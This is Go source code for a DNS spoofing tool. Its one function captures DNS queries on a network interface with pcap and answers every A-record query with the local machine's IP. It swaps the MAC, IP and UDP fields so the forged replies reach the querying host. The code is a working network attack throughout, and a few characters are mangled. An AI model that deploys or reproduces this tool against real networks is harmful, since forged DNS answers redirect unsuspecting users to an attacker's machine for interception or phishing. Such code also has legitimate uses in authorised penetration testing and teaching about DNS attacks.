/* Spoof is the entry point for the actual spoofing subroutine. Spoof handles getting packets from the NICs, identifying DNS queries, and seding responses. It is mostly concerened with the packet level logic, and does not manipulate the responses themselves */ func spoof(ifacename string) { // get our local ip ip := getIfaceAddr(ifacename) if ip == nil { panic("Unable to get IP") } // open a handle to the network card(s) ifaceHandle, err := pcap.OpenLive(ifacename, 1600, true, pcap.BlockForever) if err != nil { panic(err) } defer ifaceHandle.Close() // set the filter err = ifaceHandle.SetBPFFilter("udp and dst port 53") if err != nil { // not fatal fmt.Printf("Unable to set filter: %v\n", err.Error()) } // pre-allocate all the space needed for the layers var ethLayer layers.Ethernet var ipv4Layer layers.IPv4 var udpLayer layers.UDP var dnsLayer layers.DNS var q layers.DNSQuestion var a layers.DNSResourceRecord // create the decoder for fast-packet decoding // (using the fast decoder takes about 10% the time of normal decoding) decoder := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ðLayer, &ipv4Layer, &udpLayer, &dnsLayer) // this slick will hold the names of the layers successfully decoded decodedLayers := make([]gopacket.LayerType, 0, 4) // pre-create the response with most of the data filled out a.Type = layers.DNSTypeA a.Class = layers.DNSClassIN a.TTL = 300 a.IP = ip // create a buffer for writing output packet outbuf := gopacket.NewSerializeBuffer() // TODO (Optionally) replace with NewSerializeBufferExpectedSize to speed up a bit more // set the arguments for serialization serialOpts := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } // pre-allocate loop counter var i uint16 // swap storage for ip and udp fields var ipv4Addr net.IP var udpPort layers.UDPPort var ethMac net.HardwareAddr // Main loop for dns packets intercepted // No new allocations after this point to keep garbage collector // cyles at a minimum for { packetData, _, err := ifaceHandle.ZeroCopyReadPacketData() if err != nil { break } fmt.Println("Got packet from filter") // decode this packet using the fast decoder err = decoder.DecodeLayers(packetData, &decodedLayers) if err != nil { fmt.Println("Decoding error!") continue } // only proceed if all layers decoded if len(decodedLayers) != 4 { fmt.Println("Not enough layers!") continue } // check that this is not a response if dnsLayer.QR { continue } // print the question section for i = 0; i < dnsLayer.QDCount; i++ { fmt.Println(string(dnsLayer.Questions[i].Name)) } // set this to be a response dnsLayer.QR = true // if recursion was requested, it is available if dnsLayer.RD { dnsLayer.RA = true } // for each question for i = 0; i < dnsLayer.QDCount; i++ { // get the question q = dnsLayer.Questions[i] // verify this is an A-IN record question if q.Type != layers.DNSTypeA || q.Class != layers.DNSClassIN { continue } // copy the name across to the response a.Name = q.Name // append the answer to the original query packet dnsLayer.Answers = append(dnsLayer.Answers, a) dnsLayer.ANCount = dnsLayer.ANCount + 1 } // swap ethernet macs ethMac = ethLayer.SrcMAC ethLayer.SrcMAC = ethLayer.DstMAC ethLayer.DstMAC = ethMac // swap the ip ipv4Addr = ipv4Layer.SrcIP ipv4Layer.SrcIP = ipv4Layer.DstIP ipv4Layer.DstIP = ipv4Addr // swap the udp ports udpPort = udpLayer.SrcPort udpLayer.SrcPort = udpLayer.DstPort udpLayer.DstPort = udpPort // set the UDP to be checksummed by the IP layer err = udpLayer.SetNetworkLayerForChecksum(&ipv4Layer) if err != nil { panic(err) } // serialize packets err = gopacket.SerializeLayers(outbuf, serialOpts, ðLayer, &ipv4Layer, &udpLayer, &dnsLayer) if err != nil { panic(err) } // write packet err = ifaceHandle.WritePacketData(outbuf.Bytes()) if err != nil { panic(err) } fmt.Println("Response sent") // comment out for debugging continue // DEBUGGG-------------------------------------------------------------- err = decoder.DecodeLayers(outbuf.Bytes(), &decodedLayers) if err != nil { fmt.Println("Decoding error: " + err.Error()) continue } // only proceed if all layers decoded if len(decodedLayers) != 4 { fmt.Println("Not enough layers!") for j := range decodedLayers { fmt.Println(decodedLayers[j]) } continue } // print packet fmt.Printf("IP src %v\n", ipv4Layer.SrcIP) fmt.Printf("IP dst %v\n", ipv4Layer.DstIP) fmt.Printf("UDP src port: %v\n", udpLayer.SrcPort) fmt.Printf("UDP dst port: %v\n", udpLayer.DstPort) fmt.Printf("DNS Quy count: %v\n", dnsLayer.QDCount) // print the question section for i = 0; i < dnsLayer.QDCount; i++ { fmt.Printf("%v\n", string(dnsLayer.Questions[i].Name)) } fmt.Printf("DNS Ans count: %v\n", dnsLayer.ANCount) // print the question section for i = 0; i < dnsLayer.ANCount; i++ { fmt.Printf("%v type %v\n", string(dnsLayer.Answers[i].Name), dnsLayer.Answers[i].Type) fmt.Printf("\t%v\n", dnsLayer.Answers[i].IP) } break } }